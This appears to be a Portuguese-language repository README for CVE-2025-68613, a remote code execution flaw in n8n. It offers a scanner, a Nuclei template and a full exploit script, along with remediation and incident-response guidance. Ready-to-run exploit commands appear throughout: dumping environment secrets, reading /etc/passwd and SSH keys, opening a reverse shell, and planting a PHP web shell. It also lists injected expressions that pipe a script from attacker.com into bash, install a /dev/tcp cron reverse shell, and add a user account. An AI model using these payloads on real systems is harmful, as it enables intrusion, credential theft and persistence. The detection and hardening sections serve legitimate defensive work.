
PoC público + Scanner e pesquisa para CVE-2025-68613: RCE crítica na Automação de Fluxos de Trabalho n8n via Injeção de Expressão (CVSS 10.0). Inclui ferramentas de detecção, exploit completo e orientações de remediação.

CVE-2025-68613 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) descoberta no n8n, uma plataforma popular de automação de fluxos de trabalho de código aberto. Essa vulnerabilidade permite que usuários autenticados executem código arbitrário no servidor, podendo levar ao comprometimento total do sistema.
O n8n é uma plataforma de automação de fluxos de trabalho de código aberto que permite aos usuários:
As organizações usam o n8n para:
Esse papel central na infraestrutura de TI torna as vulnerabilidades particularmente perigosas, pois podem fornecer aos atacantes acesso a redes inteiras e dados confidenciais.
Este repositório inclui ferramentas prontas para uso na detecção de vulnerabilidades e testes de exploração:
cve-2025-68613-scanner.pyObjetivo: Detecção segura, sem exploração, de instâncias n8n vulneráveis
Recursos:
Uso:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Saída**:
- Código de saída 0: Não vulnerável
- Código de saída 1: Versão indeterminada (pode estar corrigida ou oculta)
- Código de saída 2: Versão vulnerável detectada
### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Propósito**: Detecção automatizada de vulnerabilidades e teste básico de avaliação de expressões
**Características**:
- Requer token de autenticação válido
- Testa a capacidade de injeção de expressões
- Tenta ler o contexto global do Node.js (process.platform)
- Cria fluxos de trabalho de teste para validar o vetor de RCE
- Classificação de severidade Crítica CVSS 10.0
**Uso**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyObjetivo: Exploit completo de prova de conceito com múltiplos payloads de ataque
Recursos:
Requisitos:
Instalação:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Exemplos de Uso**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Como Funciona:
this.constructor.constructor()process.platform ou outras APIs do Node.jsCódigos de Saída:
Em termos simples: o n8n permite que os usuários escrevam expressões em workflows para processar dados dinamicamente. Porém, essas expressões são avaliadas sem um sandbox adequado, permitindo que atacantes escapem do contexto de execução pretendido e executem código arbitrário no servidor.
Quando você cria um workflow no n8n, você pode usar "expressões" para manipular dados. Essas expressões deveriam ser executadas em um ambiente restrito. No entanto, a vulnerabilidade mostra que essas expressões podem acessar o sistema subjacente, permitindo que um atacante:
Quando um usuário cria um workflow no n8n, ele pode usar expressões para processar dados:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### Passo 2: Injeção de Expressão
Um atacante cria uma expressão maliciosa que escapa do sandbox pretendido:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
A expressão é avaliada sem isolamento adequado, permitindo ao atacante:
A vulnerabilidade decorre de sandboxing insuficiente no motor de avaliação de expressões. A equipa do n8n avaliou expressões num contexto que:
require() ou funções semelhantes de carregamento de módulosUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## Versões Afetadas
### Faixa Vulnerável
Todas as versões do n8n, desde **0.211.0** até as seguintes versões, são vulneráveis:
- `0.211.0` → `1.120.3`
- `1.121.0`
### Versões Corrigidas
A vulnerabilidade foi corrigida em:
- ✅ `1.120.4` e posteriores no ramo 1.120.x
- ✅ `1.121.1` e posteriores no ramo 1.121.x
- ✅ `1.122.0` e todas as versões mais recentes
### Como Verificar Sua Versão```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run retorna erro HTTP 500 na v1.121.0
A exploração foi projetada para funcionar contra o intervalo vulnerável documentado na NVD:
Se você testar versões fora desse intervalo, o sucesso não é garantido.
Uma vez que um usuário autenticado (ou um atacante com credenciais válidas) explore esta vulnerabilidade, ele pode:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. Ler Arquivos do Servidor```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. Escrever Arquivos Maliciosos```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. Estabelecer Persistência```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
Cenário do Mundo Real: Empresa Usando n8n
Empresa de Manufatura
Serviços Financeiros
Organização de Saúde
Script de detecção seguro e sem exploração (incluído no repositório original):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**Exemplos de Saída**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Varredura automatizada com Nuclei:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**Como funciona**:
1. Envia requisições HTTP para caminhos comuns do n8n
2. Extrai metadados de versão de HTML/cabeçalhos
3. Decodifica configuração codificada em base64, se presente
4. Compara a versão com intervalos vulneráveis
5. Informa se a instância está vulnerável
### Método 3: Captura Manual de Banner```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### Indicadores de Exploração (IOCs)
**Sinais em Logs**:
- Avaliações incomuns de expressões em logs de fluxo de trabalho
- Erros de expressão contendo comandos do sistema
- Acesso a arquivos sensíveis (por exemplo, referências a /etc/passwd)
- Inicialização inesperada de processos a partir do processo n8n
**Sinais do Sistema**:
- Novas contas de usuário criadas no servidor
- Chaves SSH inesperadas em authorized_keys
- Novos cron jobs ou tarefas agendadas
- Modificações em arquivos do sistema
- Conexões de shell reverso a partir do servidor n8n
---
## Remediação e Mitigação
### SOLUÇÃO PRIMÁRIA: Atualização Imediata
**Esta é a única correção completa para a vulnerabilidade.**
#### Passo 1: Faça Backup dos Seus Dados```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Usando Docker (Recomendado):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**Usando npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
Usando o Gerenciador de Pacotes do Sistema:```bash
sudo apt update && sudo apt upgrade n8n
#### Passo 3: Verifique a Atualização```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
Importante: Elas NÃO corrigem a vulnerabilidade. Use somente como medidas temporárias enquanto planeja as atualizações.
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. Monitorar Alterações de Fluxo de Trabalho```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. Execute o n8n com Privilégios Mínimos```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. Containerização & Isolamento```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## Matriz de Avaliação de Riscos
| Cenário | Nível de Risco | Probabilidade | Impacto | Prioridade |
|----------|-----------|-----------|--------|----------|
| n8n sem correção, exposto à internet | CRÍTICO | ALTO | Comprometimento total | 🔴 URGENTE |
| n8n sem correção, somente interno | ALTO | MÉDIO | Risco de ameaça interna | 🟠 ALTO |
| n8n corrigido | BAIXO | BAIXO | N/A | ✅ Resolvido |
| Sem correção + restrições de permissão | MÉDIO | MÉDIO | Limitado a usuários confiáveis | 🟡 MÉDIO |
---
## Recuperação Passo a Passo em Caso de Comprometimento
### Ações Imediatas (Primeira Hora)
1. **Isolar o sistema**: Desconectar da rede
2. **Parar o serviço**: `sudo systemctl stop n8n`
3. **Preservar logs**: Fazer backup de todos os logs antes de apagar
4. **Alertar equipe**: Notificar a equipe de segurança e a gerência
5. **Avaliar o escopo**: Determinar quais dados o n8n acessou
### Investigação (Primeiro Dia)
1. **Revisar logs de auditoria**: Procurar atividades suspeitas
2. **Analisar tráfego de rede**: Procurar exfiltração de dados
3. **Verificar modificações em arquivos**: Encontrar backdoors plantados
4. **Revisar contas de usuário**: Procurar contas novas ou modificadas
5. **Auditoria de credenciais**: Redefinir todas as chaves de API e senhas usadas pelo n8n
### Remediação (Dias 2-7)
1. **Reconstrução completa do sistema**: Não apenas atualize, reconstrua a partir de uma imagem limpa
2. **Rotação de credenciais**: Redefina todas as senhas, chaves de API e tokens
3. **Corrija tudo**: Atualize todos os sistemas conectados
4. **Restaurar a partir de backup**: Use backups limpos anteriores ao comprometimento
5. **Auditoria de segurança**: Conduza uma avaliação completa de segurança
### Pós-Incidente (Semanas 2+)
1. **Implementar monitoramento**: Configure registro contínuo e alertas
2. **Mudanças de processo**: Atualize os procedimentos de resposta a incidentes
3. **Treinamento de usuários**: Eduque as equipes sobre boas práticas de segurança
4. **Varredura de vulnerabilidades**: Exames regulares para problemas semelhantes
5. **Revisão de conformidade**: Garanta o cumprimento de todos os regulamentos (GDPR, HIPAA, etc.)
---
## Prevenção para o Futuro
### Melhores Práticas de Segurança para n8n
1. **Mantenha o n8n Atualizado**
- Ative atualizações automáticas se disponíveis
- Assine os avisos de segurança do n8n
- Teste os patches em ambiente de homologação antes da produção
2. **Controle de Acesso**
- Use o princípio do menor privilégio
- Exija senhas fortes e 2FA
- Implemente SSO para implantações empresariais
- Revisões e auditorias regulares de acesso
3. **Gerenciamento de Workflows**
- Revise todos os workflows para lógica suspeita
- Implemente um processo de revisão de código para workflows
- Use convenções de nomenclatura para identificar workflows críticos
- Faça backup regular dos workflows
4. **Gerenciamento de Credenciais**
- Nunca armazene credenciais em workflows
- Use variáveis de ambiente para dados sensíveis
- Faça rotação de credenciais regularmente
- Audite o acesso às credenciais
5. **Monitoramento e Registro (Logs)**
- Ative o registro de auditoria abrangente
- Monitore atividades incomuns
- Configure alertas para operações suspeitas
- Revisão e análise regulares de logs
6. **Segurança de Rede**
- Execute o n8n em segmentos de rede isolados
- Restrinja o acesso à rede apenas aos serviços necessários
- Use VPN/firewall para acesso remoto
- Monitore o tráfego de rede para anomalias
7. **Resposta a Incidentes**
- Crie um plano de resposta a incidentes
- Defina procedimentos de escalonamento
- Realize exercícios regulares de segurança
- Mantenha listas de contatos atualizadas
---
## Solução de Problemas
### Problema: "Exit code 1: Authentication or exploitation failed"
**Causas Comuns**:
1. **Credenciais incorretas** (mais comum)
- Solução: Verifique se as credenciais funcionam para o login na interface web primeiro
- Tente: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **O usuário não tem permissões de criação de workflows**
- Solução: Use uma conta de administrador ou usuário com direitos de criação de workflows
- Verifique: Verifique o painel administrativo → Usuários e Permissões
3. **Versão corrigida** (versão > 1.121.0)
- Solução: Use o scanner para verificar a versão primeiro: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- Esperado: O scanner deve exibir "Vulnerable" (código de saída 2)
4. **Estrutura da API alterada** (versões mais antigas/novas podem diferir)
- Solução: Verifique o aviso da NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Mais provável se estiver testando versões fora da faixa documentada
5. **Bloqueio de rede/firewall**
- Solução: Verifique a conectividade: `curl http://target:5678/`
- Verifique: Regras de firewall, configurações de proxy, certificados SSL
### Problema: O scanner relata falsos positivos (detectando versão errada)
**Corrigido na v1.02**: O scanner agora usa a configuração Sentry decodificada em base64 das meta tags em vez de regex simples. Isso elimina falsos positivos em que a versão do Node.js era detectada como versão do n8n.
**O que mudou**:
- Fonte principal: Extrair e decodificar `<meta name="n8n:config:sentry" content="[BASE64]">`
- Alternativa: Só usa regex se a configuração Sentry estiver indisponível
- Resultado: Detecção precisa de versão sem falsos positivos
**Para usar o scanner v1.02**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
Isto NÃO é um bug no exploit - é uma limitação da API.
Explicação:
/rest/workflows/{id}/run retorna HTTP 500 no n8n v1.121.0Solução alternativa:
Evidência: Flag capturada no TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 é uma vulnerabilidade crítica que requer ação imediata. A combinação de:
...torna esta uma das vulnerabilidades mais perigosas em plataformas de automação de workflows.
A solução simples: Atualize para uma versão corrigida imediatamente. Não há desculpa para permanecer vulnerável a um RCE crítico quando patches estão disponíveis.
|- Versão: 1.02 |- Data de Criação: 18 de dezembro de 2025 |- Última Atualização: 26 de dezembro de 2025
Este documento é fornecido apenas para fins educacionais e de avaliação de segurança autorizada. O acesso não autorizado a sistemas de computador é ilegal. Sempre garanta que você tenha a devida autorização antes de testar, avaliar ou acessar sistemas que você não possui.
⚠️ LEMBRE-SE: Atualize suas instâncias do n8n imediatamente se estiver executando versões vulneráveis.